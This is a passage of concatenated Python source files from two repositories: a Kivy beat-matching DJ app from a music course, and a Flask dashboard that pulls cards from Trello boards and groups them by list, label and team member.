anchor_y='top') # self.root.add_widget(self.button_tray_anchor) # self.button_tray = StackLayout(size_hint=(1, None), orientation='lr-tb', padding=10, spacing=5) # self.button_tray_anchor.add_widget(self.button_tray) def redraw(self, args): self.bg_rect.size = self.size self.bg_rect.pos = self.pos self.button_tray = StackLayout(size_hint=(1, None), orientation='lr-tb', padding=10, spacing=5) # with self.button_tray.canvas.before: # Color(0, 0, 0) # self.button_tray.bg_rect = Rectangle(pos=self.pos, size=self.size) # self.button_tray.bind(pos=redraw, size=redraw) user_path = '/Users/jbowler/mit/21M.359/final/songs/headnod' self.browser = FileChooserListView(path=user_path, size_hint=(1, 0.4)) with self.browser.canvas.before: Color(0, 0, 0) self.browser.bg_rect = Rectangle(pos=self.pos, size=self.size) self.browser.bind(pos=redraw, size=redraw) self.browser.bind(on_submit=self.on_file_select) # self.root.add_widget(self.button_tray) self.root.add_widget(self.desktop) self.root.add_widget(self.browser) # self.sm = StateMachine() # # btn_cut = ToggleButton(text='Cut', group='operations', size_hint=(None, None), size=(50, 50)) # btn_cut.bind(state=self.sm.on_cut_button_state_change) # self.button_tray.add_widget(btn_cut) # # btn_link = ToggleButton(text='Link', group='operations', size_hint=(None, None), size=(50, 50)) # btn_link.bind(state=self.sm.on_link_button_state_change) # self.button_tray.add_widget(btn_link) Window.bind(on_resize=self._on_window_resize) def _on_window_resize(self, window, width, height): self.root.size = Window.size self.desktop.on_window_resize() def on_touch_down(self, touch): if self.browser.on_touch_down(touch): return True if self.button_tray.on_touch_down(touch): return True if self.desktop.on_touch_down(touch): return True # return super(MainWidget, self).on_touch_down(touch) return False def on_touch_move(self, touch): return super(MainWidget, self).on_touch_move(touch) def on_key_down(self, keycode, modifiers): (idx, char) = keycode # if char == 'r': # song = Song('together-we-are.wav', song1_structure, self.selection) # self.desktop.grid.add_row(song) # self.desktop.on_key_down(char, modifiers) if char == 'spacebar': self.beatgen.toggle() elif char == 'left': self.beatgen.next_beat -= 16 if self.beatgen.paused: self.nowline.set_to_beat(self.nowline.get_display_beat() - 16) elif char == 'right': self.beatgen.next_beat += 16 if self.beatgen.paused: self.nowline.set_to_beat(self.nowline.get_display_beat() + 16) def on_file_select(self, *args): path = args[1][0] print path songname = path.split('/')[-1][:-4] print songname bar0_beat = self.nowline.get_display_beat() + 16 bar0_beat -= (bar0_beat % 4) #song = Song(path, structures[songname], self.selection, bar0_beat=bar0_beat) song = Song(path, structures[songname], None) print structures[songname] self.desktop.grid.add_row(song) self.beatgen.add_song(song) run(MainWidget)
{"/old/yadjc-old.py": ["/beatgen.py"]}
70,294
jwbowler/21m359-final
refs/heads/master
/beatgen.py
from collections import deque import numpy as np class BeatwiseGenerator(object): def __init__(self): self.buf = deque() self.songs = [] self.paused = True self.next_beat = 0 def add_song(self, song): self.songs.append(song) def get_songs(self): return self.songs def play(self): self.paused = False def pause(self): self.paused = True def toggle(self): self.paused = not self.paused def generate(self, num_frames): # print len(self.buf) if self.paused: output = np.zeros(num_frames * 2) else: while len(self.buf) < num_frames * 2: self._add_beat_to_buf() output = np.array([self.buf.popleft() for i in range(num_frames * 2)]) return (output, True) def _add_beat_to_buf(self): # print self.next_beat # print self.songs[0].generate_beat(0) print 'adding', self.next_beat # new_beat_data = np.add(*[song.generate_beat(self.next_beat) for song in self.songs]) new_beat_data = self.songs[0].generate_beat(self.next_beat) for i in range(1, len(self.songs)): new_beat_data = np.add(new_beat_data, self.songs[i].generate_beat(self.next_beat)) print len(new_beat_data) self.buf.extend(new_beat_data) self.nowline.set_to_beat(self.next_beat) self.next_beat += 1
{"/old/yadjc-old.py": ["/beatgen.py"]}
70,295
jwbowler/21m359-final
refs/heads/master
/old/song-old.py
# import math # import scipy # from scipy.ndimage import zoom # from scipy.signal import decimate # from common.wavegen import * # from kivy.uix.image import Image # # from meshtest import make_ribbon_mesh # # from kivy.graphics import Color, PushMatrix, PopMatrix, Translate, Line, Mesh # from kivy.uix.widget import Widget # # import numpy as np # # # class Edit(object): # def __init__(self, edit_type, start_beat, end_beat): # self.edit_type = edit_type # self.start_beat = start_beat # self.end_beat = end_beat # # # # pixels per beat # HORIZ_SCALE = 2. # # # class Song(Widget): # def __init__(self, filepath, structure, selection, bar0_beat=4, gain=1, speed=1): # super(Song, self).__init__(size_hint=(None, None)) # # self.selection = selection # # self.wave_reader = WaveReader(filepath) # self.gain = gain # self.speed = speed # # # get a local copy of the audio data from WaveReader # self.wave_reader.set_pos(0) # self.data = self.wave_reader.read(self.wave_reader.num_frames * 2) # # self.structure = structure # bpm = structure['bpm'] # self.frames_per_beat = int(44100 * 60. / bpm) ############## shouldn't be rounded... # # bar0_frame = structure['bar0_frame'] # self.beats_before_bar0 = int(bar0_frame / self.frames_per_beat) + 1 # start_padding = int(self.frames_per_beat * self.beats_before_bar0) - bar0_frame # end_padding = self.frames_per_beat # beats_after_bar0 = int((len(self.data) - 2*bar0_frame) / (2 * self.frames_per_beat)) + 1 # self.data = np.pad(self.data, (start_padding * 2, end_padding * 2), 'constant', constant_values=(0, 0)) # self.beatmap = range(-self.beats_before_bar0, beats_after_bar0) # # self.start_beat = bar0_beat - self.beats_before_bar0 # self.bar0_beat = bar0_beat # self.num_beats = len(self.beatmap) # # section_beats = [n for (n, section_label) in self.structure['sections']] # self.section_beats = np.cumsum(section_beats) # self.section_beats = np.insert(self.section_beats, 0, 0) # # self.blah_width = int(HORIZ_SCALE * self.num_beats) # self.width = 9000 # # print 'start beat:', self.start_beat # print 'beats before bar 0:', self.beats_before_bar0 # # with self.canvas: # PushMatrix() # self.translate = Translate(self.start_beat * HORIZ_SCALE, 0) # # mid_height = self.pos[1] + self.size[1]/2 # # self.waveform = Line(points=(self.pos[0], mid_height, self.pos[0] + self.size[0], mid_height)) # # Color(0.5, 0.5, 0.5) # self.waveform = self._make_ribbon_mesh(self.pos[0], self.pos[1], self.blah_width, self.height) # self.color = Color(1, 1, 1) # # # self.section_lines = [ # ( # Color(1, 1, 1), # Line(points=[self.pos[0] + HORIZ_SCALE * (beat + self.beats_before_bar0), # 0, # self.pos[0] + HORIZ_SCALE * (beat + self.beats_before_bar0), # self.size[1]]) # ) # for beat in self.section_beats # ] # # PopMatrix() # # def delete(self, start_beat_idx, end_beat_idx): # self.duplicate(start_beat_idx, end_beat_idx, 0) # # def duplicate(self, start_beat_idx, end_beat_idx, num_loops): # sequence = self.beatmap[start_beat_idx, end_beat_idx] # self.beatmap = self.beatmap[:start_beat_idx] + (sequence * num_loops) + self.beatmap[end_beat_idx:] # # def restore(self, beat_idx): # beat = self.beatmap[beat_idx] # next_beat = self.beatmap[beat_idx + 1] # # if next_beat <= beat: # return # # for new_beat in range(beat, next_beat): # beat_idx += 1 # self.beatmap.insert(beat_idx, new_beat) # # def move(self, num_beats): # self.start_beat += num_beats # # def set_speed(self, speed): # self.speed = speed # # def set_gain(self, gain): # self.gain = gain # # def generate_beat(self, global_beat): # # we need to grab a different # of frames, depending on speed: # # adj_frames = int(round(num_frames * self.speed)) # # # # data = ????? # # # # # split L/R: # # data_l = data[0::2] # # data_r = data[1::2] # # # # # stretch or squash data to fit exactly into num_frames (ie 512) # # x = np.arange(adj_frames) # # x_resampled = np.linspace(0, adj_frames, num_frames) # # resampled_l = np.interp(x_resampled, x, data_l) # # resampled_r = np.interp(x_resampled, x, data_r) # # # # # convert back to stereo # # output = np.empty(2 * num_frames, dtype=np.float32) # # output[0::2] = resampled_l # # output[1::2] = resampled_r # # # # return (output, keep_going) # # if global_beat < self.start_beat or global_beat >= self.start_beat + self.num_beats: # return np.zeros(self.frames_per_beat * 2) # # beat = self.beatmap[global_beat - self.start_beat] # print global_beat - self.start_beat, beat # # # grab correct chunk of data # start = (self.frames_per_beat * (beat + self.beats_before_bar0)) * 2 # end = start + (self.frames_per_beat * 2) # output = self.data[start:end] # # return output # # def on_touch_down(self, touch): # if self.collide_point(*touch.pos): # touch.grab(self) # # beat_num = (touch.pos[0] / HORIZ_SCALE) - self.start_beat # #print beat_num # beat_idx = np.abs(self.section_beats - beat_num).argmin() # #print beat_idx # # if abs(self.section_beats[beat_idx] - beat_num) < 5: # self.selection.toggle_select(self, beat_idx) # # #with self.canvas: # # print self.color.rgb # # if self.color.rgb == [1, 1, 1]: # # self.color.rgb = [1, 0, 0] # # else: # # self.color.rgb = [1, 1, 1] # # #print 'HI' # return True # # def on_touch_up(self, touch): # if touch.grab_current is self: # touch.ungrab(self) # return True # # # a ribbon mesh has a matrix of vertices laid out as 2 x N+1 (rows x columns) # # where N is the # of segments. # def _make_ribbon_mesh(self, x, y, w, h): # signal_power = np.square(self.data) # frames_per_pixel = int(self.frames_per_beat / HORIZ_SCALE) # scale_factor = frames_per_pixel * 2 # # pad_size = math.ceil(float(signal_power.size)/scale_factor)*scale_factor - signal_power.size # signal_power = np.append(signal_power, np.zeros(pad_size)*np.NaN) # # print signal_power.shape # signal_power = signal_power.reshape(-1, scale_factor) # print signal_power.shape # # signal_power = scipy.nanmean(signal_power, axis=1) # print signal_power.shape # # signal_power /= np.max(signal_power) # # print 'signal power', len(signal_power) # print signal_power[100:200] # print np.max(signal_power) # # segments = self.blah_width # # mesh = Mesh() # # # create indices # mesh.indices = range(segments * 2 + 2) # # # create vertices with evenly spaced texture coordinates # span = np.linspace(0.0, 1.0, segments + 1) # verts = [] # # mid_y = y + h/2 # y_scale = h/2 # # idx = 0 # for s in span: # height = y_scale * signal_power[idx] # verts += [x + s * w, mid_y - height, s, 0, x + s * w, mid_y + height, s, 1] # idx += 1 # mesh.vertices = verts # # # # animate a sine wave by setting the vert positions every frame: # # theta = 3.0 * self.time # # y = 300 + 50 * np.sin(np.linspace(theta, theta + 2 * np.pi, self.segments + 1)) # # self.mesh.vertices[5::8] = y # # # seems that you have to reassign the entire verts list in order for the change # # to take effect. # mesh.vertices = mesh.vertices # # # # assign texture # # if tex_file: # # mesh.texture = Image(tex_file).texture # # # standard triangle strip mode # mesh.mode = 'triangle_strip' # # return mesh
{"/old/yadjc-old.py": ["/beatgen.py"]}
70,296
jwbowler/21m359-final
refs/heads/master
/old/selection-old.py
from song import HORIZ_SCALE class Selection(object): def __init__(self): self.selected_clip = None self.selected_line_idx = None self.beatgen = None self.state = 'NORMAL' def set_state(self, state): self.state = state print state def select(self, clip, line): if self.state == 'CUT' and self.selected_clip == clip: clip.cut(self.selected_line_idx, line) self.unselect() self.state = 'NORMAL' elif self.state == 'LINK' and self.selected_clip and self.selected_clip != clip: top_beat = self.selected_clip.section_beats[self.selected_line_idx] + self.selected_clip.bar0_beat bottom_beat = clip.section_beats[line] + clip.bar0_beat clip_movement = top_beat - bottom_beat clip.start_beat += clip_movement clip.bar0_beat += clip_movement clip.translate.x = clip.start_beat * HORIZ_SCALE print 'LINKED' self.unselect() self.state = 'NORMAL' elif self.state == 'GO': if not self.beatgen: return beat = clip.section_beats[line] self.beatgen.next_beat = clip.bar0_beat + beat self.unselect() self.state = 'NORMAL' else: self.unselect() self.selected_clip = clip self.selected_line_idx = line line_color = clip.section_lines[line][0] line_color.rgb = [1, 0, 0] def unselect(self): if self.selected_clip: line_color = self.selected_clip.section_lines[self.selected_line_idx][0] line_color.rgb = [1, 1, 1] self.selected_clip = None self.selected_line_idx = None def toggle_select(self, clip, line): if self.selected_clip == clip and self.selected_line_idx == line: self.unselect() else: self.select(clip, line)
{"/old/yadjc-old.py": ["/beatgen.py"]}
70,297
jwbowler/21m359-final
refs/heads/master
/nowline.py
from common.clock import kTicksPerQuarter from kivy.graphics import PushMatrix, Translate, Color, Line, PopMatrix from kivy.uix.widget import Widget from song import HORIZ_SCALE class Nowline(Widget): def __init__(self, scheduler): super(Nowline, self).__init__(size_hint=(None, None)) self.scheduler = scheduler scheduler.post_at_tick(kTicksPerQuarter, self.increment) with self.canvas: PushMatrix() self.translate = Translate(0, 0) Color(0, 1, 1) Line(points=[self.pos[0], 1000, self.pos[0], -9001]) PopMatrix() def increment(self, tick, args): # print tick self.translate.x += HORIZ_SCALE self.scheduler.post_at_tick(tick + kTicksPerQuarter, self.increment) def set_to_beat(self, beat): self.translate.x = HORIZ_SCALE * beat pass # approximate! def get_display_beat(self): return int(self.translate.x / HORIZ_SCALE) def refresh(self): self.scheduler.commands = [] tick = self.scheduler.cond.get_tick() self.translate.x = (tick / kTicksPerQuarter) * HORIZ_SCALE self.scheduler.post_at_tick(tick + kTicksPerQuarter, self.increment)
{"/old/yadjc-old.py": ["/beatgen.py"]}
70,298
jwbowler/21m359-final
refs/heads/master
/old/yadjc-old.py
from beatgen import BeatwiseGenerator from common.audiotrack import * # from common.clock import * from common.clock import Clock as ClassClock from common.core import * from common.graphics import * # from common.song import * from common.wavegen import * from kivy.graphics.instructions import InstructionGroup from kivy.graphics import Color, Ellipse, Rectangle, PushMatrix, PopMatrix, Translate from kivy.uix.anchorlayout import AnchorLayout from kivy.uix.widget import Widget from kivy.uix.button import Button from kivy.uix.boxlayout import BoxLayout from kivy.uix.gridlayout import GridLayout from kivy.uix.relativelayout import RelativeLayout from kivy.uix.scrollview import ScrollView from selection import Selection from song import Song, HORIZ_SCALE import numpy as np # pixels per bar # HORIZ_SCALE = 1.5 # class Clip(Widget): # def __init__(self, songgen, song_structure, start_bar, selection): # super(Clip, self).__init__(size_hint=(None, None)) # # self.selection = selection # self.translate = None # # self.songgen = songgen # self.song_structure = song_structure # # self.song_bpm = self.song_structure['bpm'] # self.bar0_frame = self.song_structure['bar0_frame'] # self.set_start_bar(start_bar) # # section_lengths = [n for (n, section_label) in self.song_structure['sections']] # self.num_bars = sum(section_lengths) # self.section_bars = np.cumsum(section_lengths) # # self.width = HORIZ_SCALE * self.num_bars # # with self.canvas: # PushMatrix() # self.translate = Translate(self.start_bar * HORIZ_SCALE, 0) # # self.color = Color(1, 1, 1) # self.rect = Line(rectangle=(self.pos[0], self.pos[1], self.size[0], self.size[1])) # # self.section_lines = [ # ( # Color(1, 1, 1), # Line(points=[self.pos[0] + HORIZ_SCALE * bar, # 0, # self.pos[0] + HORIZ_SCALE * bar, # self.size[1]]) # ) # for bar in self.section_bars # ] # # PopMatrix() # # #self.scheduler = scheduler # #self.conductor = scheduler.cond # #self.set_start_beat(start_beat) # # def set_start_bar(self, start_bar): # self.start_bar = start_bar # frame_of_start_bar = int(start_bar * 4 * (60. / self.song_bpm) * 44100) # self.songgen.set_start_frame(frame_of_start_bar - self.bar0_frame) # # if self.translate: # self.translate.x = self.start_bar * HORIZ_SCALE # # def cut(self, bar1_idx, bar2_idx): # print 'CUTTTTTT', bar1_idx, bar2_idx # # def on_touch_down(self, touch): # if self.collide_point(*touch.pos): # touch.grab(self) # # bar_num = (touch.pos[0] / HORIZ_SCALE) - self.start_bar # #print bar_num # bar_idx = np.abs(self.section_bars - bar_num).argmin() # #print bar_idx # # if abs(self.section_bars[bar_idx] - bar_num) < 5: # self.selection.toggle_select(self, bar_idx) # # #with self.canvas: # # print self.color.rgb # # if self.color.rgb == [1, 1, 1]: # # self.color.rgb = [1, 0, 0] # # else: # # self.color.rgb = [1, 1, 1] # # #print 'HI' # return True # # def on_touch_up(self, touch): # if touch.grab_current is self: # touch.ungrab(self) # return True class Nowline(Widget): def __init__(self, scheduler): super(Nowline, self).__init__(size_hint=(None, None)) self.scheduler = scheduler scheduler.post_at_tick(kTicksPerQuarter, self.increment) with self.canvas: PushMatrix() self.translate = Translate(0, 0) Color(0, 1, 1) Line(points=[50 + self.pos[0], 1000, 50 + self.pos[0], -9001]) PopMatrix() def increment(self, tick, args): # print tick self.translate.x += HORIZ_SCALE self.scheduler.post_at_tick(tick + kTicksPerQuarter, self.increment) def set_to_beat(self, beat): self.translate.x = HORIZ_SCALE * beat pass def refresh(self): self.scheduler.commands = [] tick = self.scheduler.cond.get_tick() self.translate.x = (tick / kTicksPerQuarter) * HORIZ_SCALE self.scheduler.post_at_tick(tick + kTicksPerQuarter, self.increment) song1_structure = { 'bpm': 128, 'bar0_frame': 2430, 'sections': ( (4 * 32, 'Intro'), (4 * 4, 'Pre-verse'), (4 * 16, 'Verse 1'), (4 * 4, 'Build 1'), (4 * 24, 'Drop 1'), (4 * 4, 'Pre-breakdown'), (4 * 24, 'Breakdown'), (4 * 8, 'Verse 2'), (4 * 8, 'Build 2'), (4 * 24, 'Drop 2'), (4 * 32, 'Outro'), (4 * 8, 'Trail') ) } song2_structure = { 'bpm': 128, 'bar0_frame': 10900, 'sections': ( (4 * 16, 'Verse 1a'), (4 * 16, 'Verse 1b'), (4 * 8, 'Build 1'), (4 * 16, 'Drop 1'), (4 * 16, 'Verse 2a'), (4 * 16, 'Verse 2b'), (4 * 8, 'Build 2'), (4 * 16, 'Drop 2'), (4 * 4, 'Trail') ) } class MainWidget(BaseWidget): def __init__(self): super(MainWidget, self).__init__() songpath1 = 'together-we-are.wav' songpath2 = 'lionhearted.wav' self.selection = Selection() song1 = Song(songpath1, song1_structure, self.selection) song2 = Song(songpath2, song2_structure, self.selection) self.beatgen = BeatwiseGenerator() self.beatgen.add_song(song1) self.beatgen.add_song(song2) audio = Audio() audio.add_generator(self.beatgen) self.selection.beatgen = self.beatgen self.clock = ClassClock() self.conductor = Conductor(self.clock) self.scheduler = Scheduler(self.conductor) self.conductor.set_bpm(128) #info = Label(text = "text", pos=(0, 500), text_size=(100,100), valign='top') #self.add_widget(info) # root = ScrollView(size_hint=(None, None), size=(800, 600), # pos_hint={'center_x': .5, 'center_y': .5}) # self.add_widget(root) #self.rel = AnchorLayout(size_hint=(None, None), width=9000, pos_hint={'center_x': .5, 'center_y': .5}, # anchor_x='left', anchor_y='top') self.rel = RelativeLayout(size_hint=(None, None), width=9000, pos_hint={'center_x': .5, 'center_y': .5}) self.add_widget(self.rel) # anchor = AnchorLayout(anchor_x='left', anchor_y='top') # self.rel.add_widget(anchor) layout = GridLayout(cols=1, padding=50, spacing=50, size_hint=(None, None), width=9000, row_force_default=True, row_default_height=100) self.rel.add_widget(layout) for song in self.beatgen.get_songs(): container = RelativeLayout() layout.add_widget(container) container.add_widget(song) self.nowline = Nowline(self.scheduler) self.rel.add_widget(self.nowline) self.beatgen.nowline = self.nowline def on_update(self): self.scheduler.on_update() def on_touch_down(self, touch): return super(MainWidget, self).on_touch_down(touch) def on_key_down(self, keycode, modifiers): (idx, char) = keycode if char == 'backspace': self.selection.set_state('NORMAL') elif char == 'c': self.selection.set_state('CUT') elif char == 'l': self.selection.set_state('LINK') elif char == 'g': self.selection.set_state('GO') # elif char == 'q': # pass elif char == 'w': self.beatgen.next_beat -= 32 elif char == 'e': self.beatgen.next_beat += 32 elif char == 'spacebar': #self.clock.toggle() # print self.scheduler.cond.get_tick() self.beatgen.toggle() elif char == 'right': self.rel.x -= 100 elif char == 'left': self.rel.x += 100 elif char == 'up': self.rel.y -= 100 elif char == 'down': self.rel.y += 100 # run(MainWidget)
{"/old/yadjc-old.py": ["/beatgen.py"]}
70,314
jdob/da-dashboard
refs/heads/master
/dashboard/filters.py
from flask import current_app as app @app.template_filter() def type_style(s): formatted = s.replace(',', '').replace(' & ', '').replace(' ', '-').lower() return formatted
{"/dashboard/routes.py": ["/dashboard/data.py"]}
70,315
jdob/da-dashboard
refs/heads/master
/dashboard/routes.py
import os from flask import current_app as app from flask import render_template, request from trello import TrelloClient from .data import DashboardData ENV_API_KEY = 'API_KEY' ENV_API_SECRET = 'API_SECRET' ENV_TOKEN = 'TOKEN' @app.route('/', methods=('GET',)) def in_progress(): dd = _load_data() in_progress_cards = dd.in_progress_cards() return render_template('in_progress.html', cards=in_progress_cards, title='In Progress Tasks') @app.route('/done', methods=('GET',)) def done(): dd = _load_data() done_cards = dd.done_cards() return render_template('done.html', cards=done_cards, title='Completed Cards') @app.route('/soon', methods=('GET',)) def soon(): dd = _load_data() soon_cards = dd.coming_soon_cards() return render_template('soon.html', cards=soon_cards, title='Cards Due Soon') @app.route('/blocked', methods=('GET',)) def blocked(): dd = _load_data() blocked_cards = dd.blocked_cards() return render_template('in_progress.html', cards=blocked_cards, title='Blocked or Waiting Cards') @app.route('/in-progress-activity', methods=('GET', )) def in_progress_activity(): dd = _load_data() cards_by_label = dd.in_progress_activities() return render_template('activity.html', cards=cards_by_label, title='In Progress by Activity') @app.route('/in-progress-products', methods=('GET', )) def in_progress_products(): dd = _load_data() cards_by_label = dd.in_progress_products() return render_template('products.html', cards=cards_by_label, title='In Progress by Product') @app.route('/in-progress-epics', methods=('GET',)) def in_progress_epics(): dd = _load_data() cards_by_epic = dd.in_progress_epics() return render_template('epics.html', cards=cards_by_epic, title='In Progress by Epic') @app.route('/in-progress-team', methods=('GET', )) def in_progress_team(): dd = _load_data() cards_by_member = dd.in_progress_team() return render_template('team.html', cards=cards_by_member, title='In Progress by Team Member') @app.route('/backlog', methods=('GET',)) def backlog(): dd = _load_data() backlog_cards = dd.backlog_cards() return render_template('in_progress.html', cards=backlog_cards, title='Tasks Backlog') @app.route('/backlog-activity', methods=('GET', )) def backlog_activity(): dd = _load_data() cards_by_label = dd.backlog_activities() return render_template('activity.html', cards=cards_by_label, title='Tasks Backlog by Activity') @app.route('/backlog-products', methods=('GET', )) def backlog_products(): dd = _load_data() cards_by_label = dd.backlog_products() return render_template('products.html', cards=cards_by_label, title='Tasks Backlog by Product') @app.route('/backlog-epics', methods=('GET',)) def backlog_epics(): dd = _load_data() cards_by_epic = dd.backlog_epics() return render_template('epics.html', cards=cards_by_epic, title='Tasks Backlog by Epic') @app.route('/backlog-team', methods=('GET', )) def backlog_team(): dd = _load_data() cards_by_member = dd.backlog_team() return render_template('team.html', cards=cards_by_member, title='Tasks Backlog by Team Member') @app.route('/upcoming-events', methods=('GET', )) def upcoming_events(): dd = _load_data() cards = dd.upcoming_events_cards() return render_template('events.html', cards=cards, title='Scheduled Events') @app.route('/all-attendees', methods=('GET', )) def attendees(): dd = _load_data() month_cards, month_data = dd.all_attendees() return render_template('attendees.html', cards=month_cards, data=month_data, title='Past Event Attendance') @app.route('/customer-engagements', methods=('GET', )) def customer_engagements(): dd = _load_data() month_cards, month_data = dd.customer_attendees() return render_template('attendees.html', cards=month_cards, data=month_data, title='Past Customer Engagement Attendance') @app.route('/month', methods=('GET',)) def month(): dd = _load_data() month_list_id = request.args.get('month', None) if month_list_id: cards, list_name, stats = dd.month_highlights(month_list_id) if request.args.get('text', None): return render_template('highlights_text.html', cards=cards) else: return render_template('highlights.html', cards=cards, list_id=month_list_id, title=list_name, stats=stats) else: month_list = dd.month_list() return render_template('month_list.html', months=month_list, title='Monthly Highlights') def _load_data() -> DashboardData: # Load Trello credentials from environment and create client api_key = os.environ.get(ENV_API_KEY) api_secret = os.environ.get(ENV_API_SECRET) token = os.environ.get(ENV_TOKEN) client = TrelloClient(api_key=api_key, api_secret=api_secret, token=token) dd = DashboardData() dd.load(client) return dd
{"/dashboard/routes.py": ["/dashboard/data.py"]}
70,316
jdob/da-dashboard
refs/heads/master
/dashboard/data.py
import datetime from trello.trelloclient import TrelloClient BOARD_ID = '5f7f61eda018ce481185be8f' ARCHIVES_ID = '60e4b0e00879a001f87ff95c' COLOR_EPIC = 'purple' COLOR_TASK = 'blue' COLOR_PRODUCT = None LIST_DONE = 'Done' LIST_IN_PROGRESS = 'In Progress' LIST_BACKLOG = 'Backlog' LIST_BLOCKED = 'Blocked/Waiting' LIST_EVENTS = 'Scheduled Events' LABEL_CONFERENCE_TALK = 'Conference Talk' LABEL_CONFERENCE_WORKSHOP = 'Conference Workshop' LABEL_CONTENT = 'Content' LABEL_CUSTOMER = 'Customer Engagement' LABEL_LIVE_STREAM = 'Live Stream' class DashboardData: def __init__(self): # Board Agnostic self.label_names = None # [str] self.epic_label_names = None # [str] self.task_label_names = None # [str] self.product_label_names = None # [str] self.members_by_id = {} # [str: Member] # Live Board self.board = None self.all_labels = None # [Label] self.all_cards = None # [Card] self.all_lists = None # [TrelloList] self.all_members = None # [Member] self.list_names = None # [str] self.lists_by_id = None # {str: [List]} self.lists_by_name = None # {str: [List]} self.ongoing_list_ids = None # [str] self.cards_by_list_id = {} # {str: [Card]} self.cards_by_label = {} # {str: [Card]} self.cards_by_member = {} # {str: [Card]} # Archive Board self.archives = None self.archive_lists = None # [TrelloList] self.archive_cards = None # [Card] self.archive_lists_by_id = {} # {str: [List]} self.archive_cards_by_list_id = {} # {str: [List]} self.archive_cards_by_label = {} # {str: [List]} self.archive_cards_by_member = {} # {str: [List]} self.highlights_2021_list_ids = None # [str] def load(self, client: TrelloClient) -> None: """ Loads all of the necessary data from the Trello client, organizing it as necessary for future calls. No other calls should be made to objects of this class without having first called this method. :param client: authenticated trello client """ # Live network calls self.board = client.get_board(BOARD_ID) self.all_labels = self.board.get_labels() self.all_cards = self.board.open_cards() self.all_lists = self.board.open_lists() self.all_members = self.board.all_members() self.archives = client.get_board(ARCHIVES_ID) self.archive_lists = self.archives.open_lists() self.archive_cards = self.archives.open_cards() # Organize labels self.label_names = [label.name for label in self.all_labels] self.epic_label_names = [label.name for label in self.all_labels if label.color == COLOR_EPIC] self.task_label_names = [label.name for label in self.all_labels if label.color == COLOR_TASK] self.product_label_names = [label.name for label in self.all_labels if label.color == COLOR_PRODUCT] self.event_label_names = [LABEL_CUSTOMER, LABEL_CONFERENCE_WORKSHOP, LABEL_CONFERENCE_TALK] # Organize members self.members_by_id = {m.id: m for m in self.all_members} # Organize lists self.list_names = [tlist.name for tlist in self.all_lists] self.lists_by_id = {tlist.id: tlist for tlist in self.all_lists} self.lists_by_name = {tlist.name: tlist for tlist in self.all_lists} self.archive_lists_by_id = {tlist.id: tlist for tlist in self.archive_lists} self.ongoing_list_ids = ( self.lists_by_name[LIST_DONE].id, self.lists_by_name[LIST_IN_PROGRESS].id ) self.highlights_2021_list_ids = [tlist.id for tlist in self.archive_lists if tlist.name.startswith('Highlights') and tlist.name.endswith('2021')] # Organize cards def _process_card(card, member_cards, label_cards, list_cards): # Rebuild date as a date object if card.due: card.real_due_date = datetime.datetime.strptime(card.due, '%Y-%m-%dT%H:%M:%S.%fZ') else: card.real_due_date = None # Add in member names instead of IDs if card.member_ids: card.member_names = [self.members_by_id[m_id].full_name for m_id in card.member_ids] for member in card.member_names: mapping = member_cards.setdefault(member, []) mapping.append(card) # Label breakdown if card.labels: # In most cases, any cards with multiple labels will only have one per type # (i.e. epic, activity, product, etc). In case they do cover multiple, sort them # alphabetically for consistency. card.labels.sort(key=lambda x: x.name) for label in card.labels: mapping = label_cards.setdefault(label.name, []) mapping.append(card) # List cache list_cards.setdefault(card.list_id, []).append(card) for card in self.all_cards: _process_card(card, self.cards_by_member, self.cards_by_label, self.cards_by_list_id) for card in self.archive_cards: _process_card(card, self.archive_cards_by_member, self.archive_cards_by_label, self.archive_cards_by_list_id) def in_progress_cards(self): """ Cards: All from 'In Progress' list Sort: Due Date Extra Fields: type """ in_progress_id = self.lists_by_name[LIST_IN_PROGRESS].id in_progress_cards = self.cards_by_list_id[in_progress_id] add_card_types(in_progress_cards, self.task_label_names) sorted_cards = sorted(in_progress_cards, key=sort_cards_by_due) return sorted_cards def backlog_cards(self): """ Cards: All from 'Backlog' list Sort: Due Date Extra Fields: type """ backlog_id = self.lists_by_name[LIST_BACKLOG].id backlog_cards = self.cards_by_list_id[backlog_id] add_card_types(backlog_cards, self.task_label_names) sorted_cards = sorted(backlog_cards, key=sort_cards_by_due) return sorted_cards def blocked_cards(self): """ Cards: All from the 'Blocked/Waiting' list Sort: Due Date Extra Fields: type """ blocked_id = self.lists_by_name[LIST_BLOCKED].id blocked_cards = self.cards_by_list_id[blocked_id] add_card_types(blocked_cards, self.task_label_names) sorted_cards = sorted(blocked_cards, key=sort_cards_by_due) return sorted_cards def upcoming_events_cards(self): """ Cards: All from 'Scheduled Events' and 'In Progress' list Sort: Due Date Extra Fields: type """ # Everything in the scheduled events list all_cards = self.cards_by_list_id[self.lists_by_name[LIST_EVENTS].id] # Event-related cards from the in progress list in_progress_cards = self.cards_by_list_id[self.lists_by_name[LIST_IN_PROGRESS].id] for c in in_progress_cards: if not c.labels: continue for label_name in c.labels: if label_name.name in self.event_label_names: all_cards.append(c) break add_card_types(all_cards, self.event_label_names) sorted_cards = sorted(all_cards, key=sort_cards_by_due) return sorted_cards def done_cards(self): """ Cards: All from the 'Done' list Sort: Due Date Extra Fields: type """ done_id = self.lists_by_name[LIST_DONE].id if done_id in self.cards_by_list_id: done_cards = self.cards_by_list_id[done_id] add_card_types(done_cards, self.task_label_names) cards = sorted(done_cards, key=sort_cards_by_due) else: cards = [] return cards def coming_soon_cards(self): """ Cards: From 'Backlog' and 'Scheduled Events' with due dates in the next 21 days Sort: Due Date Extra Fields: type """ backlog_id = self.lists_by_name[LIST_BACKLOG].id backlog_cards = self.cards_by_list_id[backlog_id] events_id = self.lists_by_name[LIST_EVENTS].id events_cards = self.cards_by_list_id[events_id] all_soon_cards = backlog_cards + events_cards # Filter out cards with no due date or those due in more than X many days upcoming_date = datetime.datetime.now() + datetime.timedelta(days=21) upcoming_cards = [c for c in all_soon_cards if c.real_due_date and c.real_due_date < upcoming_date] add_card_types(upcoming_cards, self.task_label_names) sorted_cards = sorted(upcoming_cards, key=sort_cards_by_due) return sorted_cards def in_progress_products(self): """ Cards: [product labels, cards] for 'In Progress' Sort: Due Date Extra Fields: type """ return self._list_label_filter([self.lists_by_name[LIST_IN_PROGRESS].id], self.product_label_names) def in_progress_activities(self): """ Cards: [task labels, cards] for 'In Progress' Sort: Due Date Extra Fields: type """ return self._list_label_filter([self.lists_by_name[LIST_IN_PROGRESS].id], self.task_label_names) def in_progress_epics(self): """ Cards: [epic labels, cards] for 'In Progress' Sort: Due Date Extra Fields: type """ return self._list_label_filter([self.lists_by_name[LIST_IN_PROGRESS].id], self.epic_label_names) def in_progress_team(self): """ Cards: [member name, cards] for 'In 